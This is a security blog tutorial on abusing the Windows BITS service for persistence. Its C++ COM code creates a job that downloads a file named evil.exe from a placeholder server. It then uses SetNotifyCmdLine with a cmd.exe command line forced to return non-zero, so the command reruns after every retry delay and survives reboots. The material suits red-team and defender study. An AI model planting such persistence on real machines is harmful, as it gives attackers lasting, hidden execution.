Skip to Main Content
June 29, 2021

BITS Persistence for Script Kiddies

Written by TrustedSec

Introduction

Using and abusing the BITS service is a lot of fun. I can't believe Windows just gives away this hacker tool for free. But wait, wait, are you telling me that there's more? Does it come with a free blender? What else can this service do for me?

In the last installment, we covered the Background Intelligent Transfer Service (BITS) and how you can use this service and its corresponding utility, bitsadmin[1], to Live Off the Land[2]. Go back and review BITS for Script Kiddies (https://www.trustedsec.com/blog/bits-for-script-kiddies/) if you want more details, but in essence, BITS is a service provided by the Windows operating system to transfer files. It allows the user to download and upload files, and it is used by the operating system for downloading Windows updates. This service can be used with the command line utility, PowerShell cmdlets, or a COM interface[3].

Previously, we looked at how to Live Off the Land using BITS instead of uploading (and possibly compromising) our own tools. In particular, we discussed how to employ BITS to upload, download, copy, and even execute files. These handy tricks save us time and headaches by relying on existing, whitelisted applications to accomplish our objectives. We no longer need to upload and expose our own remote access tools.

Now I'm back to tell you that this pony has one last trick: persistence. That's right! We can use the BITS service to establish a persistent presence on the box, meaning no more needing to worry about what happens when the user reboots. We can use the same LOLBin to gain persistence for our tools that we used to download, upload, and execute those tools in the first place. BITS is the gift that keeps on giving. However, in my experience, this 'feature' is more easily accessible via the COM interface[4], so first we need to put on our developer hat.

BITS for Programmers

I can't wait to see how BITS can provide persistence, but before we dive in, I may need a coding refresher lesson. It has been a while since this pirate walked the programming plank. So, let's put our floaties on and ease into the Script Kiddie pool.

In the previous blog post, we demonstrated how to manipulate the BITS service using the bitsadmin tool. This command line utility allows you to create, pause, resume, cancel, and complete jobs. These jobs are containers for the actual files you want to download, upload, or, as we previously showed, copy. The jobs also contain some metadata and expose other features like 'setnotifycmdline,' which we previously abused to execute a command of our choosing.

The bitsadmin utility is useful for providing rudimentary access to the BITS service, but there are some additional settings and features that are more easily accessible via the COM programmatic interface. Once you connect to the BITS service, the COM interface allows you to create, pause, resume, cancel, and complete jobs. You can add files to the job by passing in the remote source/destination and the local source/destination. You can check the status of a job to determine if the transfer is complete, in progress, or resulted in an error. In addition to these basic features, the COM interface also opens up many other methods and properties that we can utilize.

Connecting to BITS

When using the COM interface for BITS, we first need to connect to the BITS service. To connect to the BITS system service, create an instance of the BackgroundCopyManager object, as shown in the following example[5]:

   #include   <windows.h>
   #include   <bits.h>
    
   int   main()
   {
     // Local variables (used throughout the   code examples)
     HRESULT hr = S_OK;
     IBackgroundCopyManager* pbcm = NULL;
     GUID JobId;
     IBackgroundCopyJob* pJob = NULL;
     IBackgroundCopyJob2* pJob2 = NULL;
     LPWSTR swzJobName = L“MyJobName”;
     LPWSTR swzSource = L“https://www.myserver.com/cat.gif”;
     LPWSTR swzDestination = L“C:\\Users\\Default\\AppData\\Local\\Temp\\evil.exe”;
     LPWSTR swzCommand = L“C:\\Windows\\System32\\calc.exe”;
     LPWSTR swzPersistCommand =   “C:\\Windows\\System32\\cmd.exe”;
     LPWSTR swzPersistCommandArgs = "C:\\Windows\\System32\\cmd.exe   /C \"C:\\Windows\\System32\\calc.exe &&   C:\\Windows\\System32\\fc.exe 2>NUL\"";
     BG_JOB_STATE State;
    
     // Initialize the COM library and setting   the thread's concurrency model
     hr = CoInitializeEx(NULL,   COINIT_APARTMENTTHREADED);
     if (SUCCEEDED(hr))
     {
       // Create an instance of the   BackgroundCopyManager object
       /// Receive a pointer to the IBackgroundCopyManager   interface
       hr = CoCreateInstance(
         __uuidof(BackgroundCopyManager), 
         NULL,
         CLSCTX_LOCAL_SERVER,
         __uuidof(IBackgroundCopyManager),
         (void**) &pbcm
       );
       if (SUCCEEDED(hr))
       {
         // Use pbcm to create job
         
         // Before you exit, release your IBackgroundCopyManager   interface pointer
         pbcm->Release();
         pbcm = NULL;
       }
       
       // Before you exit, close the COM library   for the current thread
       CoUninitialize();
     }
    
     return 0;
   }         

Creating a BITS Job

Now that we have connected to the BITS service, we can create a BITS job. To create a transfer job, call the IBackgroundCopyManager::CreateJob method[6].

 //   Use pbcm to create a job
   ///   Create the job using the CreateJob method of the IBackgroundCopyManager   interface
   ///   Create a download job by using the type: BG_JOB_TYPE_DOWNLOAD
   ///   Receive the job ID and a pointer to the IBackgroundCopyJob interface
   hr   = pbcm->CreateJob(swzJobName, BG_JOB_TYPE_DOWNLOAD, &JobId,   &pJob);
   if   (SUCCEEDED(hr))
   {
     // Use pJob to add files to job
    
     // Before you exit, release your   IBackgroundCopyJob interface pointer
     pJob->Release();
   }         

Adding a File

Once we have created a BITS job, we can add a file to transfer. You can add a single file or a set of files using either the IBackgroundCopyJob::AddFile or the IBackgroundCopyJob::AddFileSet method[7].

//   Use pJob to add files to job 
   ///   Add a file to the job using the AddFile method of the IBackgroundCopyJob   interface
   ///   Pass in the source URL and destination file location
   hr   = pJob->AddFile(swzSource, swzDestination);
   if   (SUCCEEDED(hr))
   {
     // Use pJob to resume the job
   }         

Starting the Job

After adding a file to the job, we can start the job to actually transfer the file. Start the job using the IBackgroundCopyJob::Resume method[8]. This activates the job or restarts a previously suspended job.

 //   Use pJob to resume the job
   ///   Start the download job using the Resume method of the IBackgroundCopyJob   interface
   hr   = pJob->Resume();
   if   (SUCCEEDED(hr))
   {
     // Now we can accomplish several different   tasks using the BITS job:
     // Use pJob to monitor the status of the   job and complete it when finished
     // Or execute a command via   IBackgroundCopyJob2::SetNotifyCmdLine
     // Or persist a command via   IBackgroundCopyJob2::SetNotifyCmdLine with special args
   }         

Completing the Job

Finally, we can complete the job once the transfer finishes by using the IBackgroundCopyJob::GetState method[9] and the IBackgroundCopyJob::Complete method[10]. In addition to polling for changes in the status of the job, you can also monitor the progress to see changes in the number of bytes transferred. You can also cancel the job if an error occurs by using the IBackgroundCopyJob::Cancel method.

//   Use pJob to monitor the status of the job and complete it when finished
   do
   {
     // Wait a little while for the job to   complete
     Sleep(1000);
    
     // Get the current state of the download   job using the GetState method
     /// Receive the current state
     hr = pJob->GetState(&State);
     if (SUCCEEDED(hr))
     {
       // If the download has finished, then   complete the job
       if (BG_JOB_STATE_TRANSFERRED == State)
       {
         pJob->Complete();
       }
       // If the download has errored, then   cancel the job
       else if (BG_JOB_STATE_ERROR == State ||   BG_JOB_STATE_TRANSIENT_ERROR == State)
       {
         pJob->Cancel();
       }
       // If the download is still transferring,   then check the progress
       // or just repeat the loop
       else if (BG_JOB_STATE_TRANSFERRING == State)
       {
         //   Call pJob->GetProgress() to get the number of bytes transferred
       }
     }
   }   while (BG_JOB_STATE_TRANSFERRED != State && 
            BG_JOB_STATE_ERROR != State   &&
            BG_JOB_STATE_TRANSIENT_ERROR !=   State);         

BITS for Persistence

OK. I feel like I understand the basics of BITS for programmers. Now let's get into the fun stuff: persistence! How can I make BITS persist my tools for me?

So, in addition to the basic functionality described in the previous section, the COM interface also provides more advanced methods. In our previous blog post, we examined one of these advanced methods: SetNotifyCmdLine. We used the corresponding switch with the bitsadmin utility to have BITS execute a command line of our choice. Now with the COM interface, we can use the IBackgroundCopyJob2::SetNotifyCmdLine method[11] to similarly execute a command.

// Or   execute a command via IBackgroundCopyJob2::SetNotifyCmdLine
   ///   Get an IBackgroundCopyJob2 interface pointer to our current job
   ///   The SetNotifyCmdLine is only supported in BITS 1.5 or later
   pJob->QueryInterface(__uuidof(IBackgroundCopyJob2),   (void**)&pJob2);
   if   (SUCCEEDED(hr))
   {
     // Use the pJob2 interface to execute a   command via SetNotifyCmdLine
     /// Set the command to execute using the   SetNotifyCmdLine method of the IBackgroundCopyJob2 interface
     /// Pass in the command and the   command-line arguments (NULL in this case)
     hr = pJob2->SetNotifyCmdLine(swzCommand,   NULL);
     if (SUCCEEDED(hr))
     {           
       // Use pJob to resume the job
     }
    
     // Before you exit, release your IBackgroundCopyJob2   interface pointer
     pJob2->Release();
   }         

And now that we can execute a command programmatically using the COM interface, we can take it a step further and set up a persistent command execution, because what is persistence if not executing a command over and over again? Thankfully, BITS is nice enough to help us do this. It really is a useful tool with many overlooked features. This particular feature is part of the SetNotifyCmdLine method we just discussed. Buried in the Remarks section of the documentation we find the key paragraph:

'Your program should return an exit code of zero. If your program does not return an exit code of zero, BITS checks the state of the job. If the program did not cancel or complete the job, BITS calls the program again after the minimum retry delay specified for the job expires.'

So, if the command you execute returns a non-zero AND you don't 'Cancel' or 'Complete' the job, BITS will execute the program again after the configured retry delay (default is 600 seconds). It's easy to create your own binary that returns non-zero which will cause BITS to periodically execute your binary, and since jobs persist across reboots, so will your binary’s execution. You may run into trouble if you are attempting to execute a binary precompiled to return zero:

Figure 1 - Returns Zero

To overcome this obstacle, you may need to come up with a creative command line to always return non-zero:

Figure 2 - Force Non-Zero Return

Notice the use of cmd.exe to run a command line containing more than one command. This is necessary since the SetNotifyCmdLine method accepts one command and parameters to that command. As a work around, we can run the cmd.exe command and pass in the parameters necessary to run a more complex command line.

In this instance, the fc.exe command appended to the end of the command we really want to run returns a non-zero, therefore, the overall command returns a non-zero. This would cause BITS to queue or notify command line to run again after the configured delay time. So, with some fancy command line crafting, we are able to take advantage of this little known 'feature' of BITS to not only execute a command, but to persistently execute our command. To do this programmatically with the COM interface, we can again use the IBackgroundCopyJob2::SetNotifyCmdLine method[12] but with our specially crafted command line.

//   Or persist a command via IBackgroundCopyJob2::SetNotifyCmdLine with special   args
   ///   Get an IBackgroundCopyJob2 interface pointer to our current job
   ///   The SetNotifyCmdLine is only supported in BITS 1.5 or later
   pJob->QueryInterface(__uuidof(IBackgroundCopyJob2),   (void**)&pJob2);
   if   (SUCCEEDED(hr))
   {
     // Use the pJob2 interface to execute a   command via SetNotifyCmdLine
     /// Set the command to execute using the   SetNotifyCmdLine method of the IBackgroundCopyJob2 interface
     /// Pass in the command and our special   command-line arguments
     hr =   pJob2->SetNotifyCmdLine(swzPersistCommand, swzPersistCommandArgs);
     if (SUCCEEDED(hr))
     {           
       // Use pJob to resume the job
     }
    
     // Before you exit, release your   IBackgroundCopyJob2 interface pointer
     pJob2->Release();
   }         

Conclusion

Ha! BITS is such a n00b. I can't wait to make it do my bidding. I was happy with just uploading, downloading, and executing, but now I can 'live off the land' day after day. BITS FTW! Move over Netcat, we have a new hacking Swiss Army knife!

After previously demonstrating how we can take advantage of BITS to 'live off the land,' this time around we looked at how we can utilize the COM interface of BITS to access some of the advanced features. The COM interface gives us programmatic access to the BITS service, allowing us to write our own tools to use BITS for download and uploading files. This programmatic access also provides methods to manipulate the service in ways not previously exposed, and we were able to use some of these methods to provide persistence for a command line of our choosing. BITS provides you with everything you need to 'live off the land,' and to do so day after day. So don't forget to keep an eye out for the little known 'features' that may be repurposed, and as always remember to check your return values.


[1] https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

[2] https://www.youtube.com/watch?v=j-r6UonEkUw

[3] https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal

[4] https://docs.microsoft.com/en-us/windows/win32/bits/using-bits

[5] https://docs.microsoft.com/en-us/windows/win32/bits/connecting-to-the-bits-service

[6] https://docs.microsoft.com/en-us/windows/win32/bits/creating-a-job

[7] https://docs.microsoft.com/en-us/windows/win32/bits/adding-files-to-a-job

[8] https://docs.microsoft.com/en-us/windows/win32/api/bits/nf-bits-ibackgroundcopyjob-resume

[9] https://docs.microsoft.com/en-us/windows/win32/bits/polling-for-the-status-of-the-job

[10] https://docs.microsoft.com/en-us/windows/win32/bits/completing-and-canceling-a-job

[11] https://docs.microsoft.com/en-us/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline

[12] https://docs.microsoft.com/en-us/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline